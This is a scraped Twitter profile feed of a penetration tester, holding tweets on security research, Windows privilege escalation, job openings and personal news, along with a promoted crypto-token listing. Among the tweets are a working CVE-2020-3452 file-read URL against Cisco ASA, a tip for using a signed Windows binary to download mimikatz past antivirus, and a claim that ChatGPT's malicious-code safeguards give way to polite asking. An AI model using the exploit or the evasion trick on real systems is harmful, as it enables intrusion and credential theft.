Nikos Danopoulos

IT Security Consultant at Outpost24. Linux addict. Pentesting and RedTeaming. Highliner and mountaineer.

[De.Fi @DeFi]

🚨 ANNOUNCING $DEFI TOKEN WILL BE LISTED ON 7 EXCHANGES

ByBit, KuCoin, HTX, Gate, MEXC, Bitget & Bitmart!

31st January, 10am UTC! Get ready for the largest listing in 2024!

🔔 Turn on notifications & stay tuned with further listing updates!

[Outpost24 @outpost24]

Pen tester @nikosdanopoulos found that #ChatGPT has new protections against providing malicious code. It won't help anymore, but still creates content like the following. If you ask it nicely, it will also share it.

#LogicsIsNotIntelligence

[Elliot @ElliotKillick]

Need to go under the radar downloading #mimikatz (and other suspect payloads)? Then newly discovered #lolbin "C:\Windows\System32\Cmdl32.exe" (signed by MS) is for you. It's like a new certutil.exe but absolutely unheard of by any antivirus software!

[Panos Gkatziroulis 🦄 @ipurple]

Privilege Escalation via Resource Based Constrained Delegation https://t.co/hsixZ6VCjg

[Nikos Danopoulos @NikosDanopoulos]

"Reverse engineering Emotet – Our approach to protect GRNET against the trojan". Wonderful write-up from @grnet_gr. With a great reverse-engineering process.
https://t.co/TwMwyRAh6q

[Clément Labro @itm4n]

When writing a pentest tool leads to the discovery of a Windows 0-day... 😎

As promised, here is my latest blog post where I discuss this finding in detail. 🧐

Windows RpcEptMapper Service Insecure Registry Permissions EoP
https://t.co/v0lJGLNfML

[Nikos Danopoulos @NikosDanopoulos]

Our amazing team (@outpost24) is expanding. We have multiple open positions for (Senior) Security consultants and Security specialists in the EU, UK, and US.
For more information, see here:
https://t.co/rm1X7idEk0
https://t.co/tGsjilbhGf
https://t.co/7vRhawVrSs

[Ahmed Aboul-Ela @aboul3la]

Here is POC of CVE-2020-3452, unauthenticated file read in Cisco ASA & Cisco Firepower.

For example to read "/+CSCOE+/portal_inc.lua" file.

https://<domain>/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../

Happy Hacking!

[Marcello @byt3bl33d3r]

W00t! CrackMapExec now has binaries! You don't need to install it anymore! Just grab the binaries under the latest build under the action tab! Go forth and pwn!
https://t.co/uh93qoFX02

[Кириакос Экономоу @kyREcon]

@marcan42 memcpy_shit

[Nikos Danopoulos @NikosDanopoulos]

Heading to Sheffield for @Steel_Con on Monday 8th. If you want to join for a beer or two, PM!

[Nikos Danopoulos @NikosDanopoulos]

My new new blogpost for @outpost24 here: https://t.co/v2iMnlrJrX. Hope you enjoy!

[Nikos Danopoulos @NikosDanopoulos]

@0x5ultan Thank you @0x5ultan !!

[Nikos Danopoulos @NikosDanopoulos]

Yes! OSCP has been passed. Super great day :) #OSCP.

[Nikos Danopoulos @NikosDanopoulos]

@Abdulmalek_110 Thank you mate!!

[Phith0n @phithon_xg]

#vulhub Run `docker run -it -p 2222:22 --rm vulhub/libssh:0.8.1` or use https://t.co/3GseYLFkKc to start a libssh 0.8.1 server to perform the CVE-2018-10933.

[Nikos Danopoulos @NikosDanopoulos]

About to buy noise cancelling earphones. Any suggestions out there?

[@mikko @mikko]

How much is your data worth? So much that Google just paid Apple $9 billion to be the default search engine in the iPhone.

$9 billion, to get people to use a ’FREE’ search.

[Nikos Danopoulos @NikosDanopoulos]

From Local File Inclusion to Remote Code Execution Part 2: https://t.co/RLbQrmNr71. Stay tuned for Part 3! @outpost24

[Chris Wysopal @WeldPond]

I'd rather hire someone who knew how to use netcat than someone who thinks one of these answers is correct.